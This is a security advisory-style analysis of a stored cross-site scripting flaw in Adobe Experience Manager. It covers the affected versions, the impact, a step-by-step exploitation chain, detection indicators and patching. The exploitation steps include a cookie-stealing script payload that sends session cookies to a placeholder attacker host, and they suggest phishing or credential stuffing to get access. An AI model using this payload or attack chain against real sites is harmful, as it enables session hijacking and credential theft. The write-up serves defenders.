CVE-2025-64554: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64554 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged authenticated attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) on the same date. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is persisted server-side and executed in the victim's browser when they navigate to the page containing the affected field. Exploitation requires the attacker to be authenticated (low privilege) and requires user interaction from a victim (e.g., an administrator or another user visiting the compromised page). The attack vector is network-based with low complexity, and the scope is changed, meaning the injected script can affect resources beyond the vulnerable component (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or further attacks against other users of the AEM instance. The confidentiality and integrity impacts are rated low (limited data exposure and limited content modification), with no direct availability impact. However, if a privileged user (e.g., an AEM administrator) is targeted, the attacker could escalate their effective access within the application (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or Shodan/Censys queries targeting AEM-specific endpoints.
2. Authentication: Obtain low-privileged credentials to the target AEM instance (e.g., via phishing, credential stuffing, or use of a legitimate low-privilege account).
3. Identify vulnerable form fields: Browse AEM authoring or public-facing pages to locate form fields that are susceptible to stored XSS (i.e., fields whose input is rendered unsanitized in the browser).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
5. Trigger victim execution: Wait for or socially engineer a target user (e.g., an AEM administrator) to visit the page containing the injected payload, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server, potentially enabling session hijacking or further privilege escalation within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, or form submission paths) containing script tags or encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR nodes or page properties that was not authored by legitimate content editors.
• Process/Application: AEM error logs showing unexpected rendering of script content or Content Security Policy (CSP) violation reports if CSP is enabled.

Adobe has released patches addressing CVE-2025-64554 in AEM 6.5 Service Pack 6.5.24.0 (for on-premises/LTS deployments) and AEM Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restricting write access to vulnerable form fields to trusted users only and enforcing a strict Content Security Policy (CSP) can reduce the risk of exploitation. AEM Cloud Service customers on automatic update schedules will receive the fix automatically (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including CVE-2025-64554, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable released a Nessus detection plugin (278346) to help organizations identify vulnerable AEM instances (Tenable). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE.